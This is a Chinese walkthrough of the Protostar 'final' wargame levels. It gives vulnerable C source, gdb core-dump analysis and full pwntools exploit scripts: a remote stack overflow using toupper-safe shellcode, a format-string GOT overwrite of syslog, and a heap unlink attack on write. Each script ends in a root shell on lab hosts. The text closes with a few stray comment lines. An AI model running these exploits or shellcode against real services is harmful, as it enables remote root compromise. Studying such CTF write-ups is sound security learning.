protostar通关指南——final系列
最后的Final系列,把这个系列的东西都综合起来了。
final 0
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
这个题目是结合了栈溢出和网络相关的知识,一道远程溢出的题目。很明显,接收buffer的时候没有对长度做检查,导致了溢出。先来看看溢出点在哪里。
➜ net python ~/pattern.py create 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
➜ net nc 192.168.37.159 2995
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At
通过core dump文件找找偏移量。
user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324
Reading symbols from /opt/protostar/bin/final0...done.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x72413772 in ?? ()
➜ net python ~/pattern.py offset 0x72413772
hex pattern decoded as: r7Ar
532
shellcode我们选择这个可以绕过toupper()的:
shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
shellcode来自:https://www.exploit-db.com/exploits/13460/
找一下返回地址:
(gdb) x/10s $esp-536
0xbffffa48: "AA0AA1AA2AA3AA4........
太长了多余的不贴了,写payload吧。
from pwn import *
target = remote('192.168.37.159',2995)
shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
nopcode = '\x90' * 20
ret_addr = 0xbffffa48
payload = nopcode + shellcode + 'A' * (532 - len(shellcode) - len(nopcode)) + p32(ret_addr)
target.send(payload)
target.interactive()
打一下试试:
➜ net python final0.py
[+] Opening connection to 192.168.37.159 on port 2995: Done
[*] Switching to interactive mode
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$
final 1
先上代码:
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
这个题是用syslog输出的,如果仅仅是远程打的话看不到回显有点蛋疼。只能上去一边看syslog一边打。既然这里调用了syslog,我们就把syslog的地址改为我们shellcode的地址。先来看看syslog函数的地址是多少:
user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog
0804a11c R_386_JUMP_SLOT syslog
现在来确定一下偏移量。
payload = 'username AAAABBBB' + '%08x.' * 20 + '[%08x]\n'
payload += 'login b\n'
Login from 192.168.198.128:49884 as [AAAABBBB08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.34383839.20736120.4141415b.42424241.38302542.30252e78.252e7838.[2e783830]] with password [b]
还需要调整一下payload:
payload = 'username xxxAAAAx' + '%08x.' * 16 + '[%08x]\n'
payload += 'login b\n'
Login from 192.168.198.128:49893 as [xxxAAAAx08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.33393839.20736120.7878785b.[41414141]] with password [b]
调整好了,现在的问题是把syslog的地址改为shellcode的地址。
payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n'
接下来为了触发shellcode,还需要确定何时发送shellcode。
payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n'
payload += 'login ' + 'Z'*55 + '\n'
payload += 'login ' + 'Y'*55 + '\n'
target.send(payload)
然后丢到gdb里调一下,发现Y这个位置会出现在栈里,决定把这里替换为shellcode,地址是0xbffffbdc。
然后就可以写exp了:
from pwn import *
target = remote('192.168.198.129', 2994)
nopcode = '\x90' * 12
shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
shellcode = nopcode + shellcode
payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n'
payload += 'login ' + 'Z'*55 + '\n'
payload += 'login ' + shellcode + '\n'
target.send(payload)
target.interactive()
target.close()
打一下看看结果:
➜ program python final1-exp.py
[+] Opening connection to 192.168.198.129 on port 2994: Done
[*] Switching to interactive mode
[final1] $ [final1] $ login failed
[final1] $ $ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$
final 2
这个题是远程的堆溢出,有点蛋疼。
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
分析下来,发现在查找/的时候,没有进行边界检查,出现了堆溢出。这里给出的源码和二进制文件有些出入,二进制中check_path函数没有调用printf函数,而且这里在46行左右少了一行代码,是destorylist[dll] = buf
,对应后面的free函数。每次请求的时候,都会calloc一个128字节的空间,而且我们的请求长度必须满足128字节。这样一来,我们可以发送两个请求,这样会分配两个chunk,第一个请求的/放在最后,第二个请求增加ROOT字符串。大概是这个样子:
payload = 'FSRD' + 'A'*123 + '/'
payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD'
然后看一下core dump文件:
(gdb) x/i $eip
0x804aaef <free+301>: mov %edx,0xc(%eax)
(gdb) i r
eax 0x43434343 1128481603
ecx 0x804c2d6 134529750
edx 0x44444444 1145324612
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7e0 0xbffff7e0
ebp 0xbffff828 0xbffff828
esi 0x0 0
edi 0x0 0
eip 0x804aaef 0x804aaef <free+301>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/100x 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x41414141 0x2f414141 0xfffffffc 0xfffffffc
0x804e090: 0x43434343 0x44444444 0x42424242 0x42424242
0x804e0a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0e0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804e0f0: 0x42424242 0x42424242 0x42424242 0x2f424242
0x804e100: 0xfffffffc 0xfffffffc 0x43434343 0x44444444
基本上已经可以打了,然后是加入shellcode和真正需要修改的地址。获取write函数的地址:
user@protostar:/opt/protostar/bin$ objdump -R final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
还有个fwrite,不管他,我们选择覆盖掉write在GOT中的地址。然后shellcode注入到0x0804e00c这个位置,多一点也没关系,反正shellcode前面填充了nop。
构造payload:
from pwn import *
target = remote('192.168.198.129', 2993)
nopcode = '\x90' * 12
shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
shellcode = nopcode + shellcode
writeAddr = 0x0804d41c
shellcodeAddr = 0x0804e00c
payload = 'FSRD' + shellcode + 'A'*(123-len(shellcode)) + '/'
payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + p32(writeAddr-0xc) + p32(shellcodeAddr)
target.send(payload)
target.interactive()
target.close()
跑起来看看效果:
➜ program python final2-exp.py
[+] Opening connection to 192.168.198.129 on port 2993: Done
[*] Switching to interactive mode
$ id
Process OK
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$
至此protostar系列已经通关了。
6666 LL大法好
LL大法是什么。。。
L(ight)L(ess)
Crawlergo
Crawlergo
Crawlergo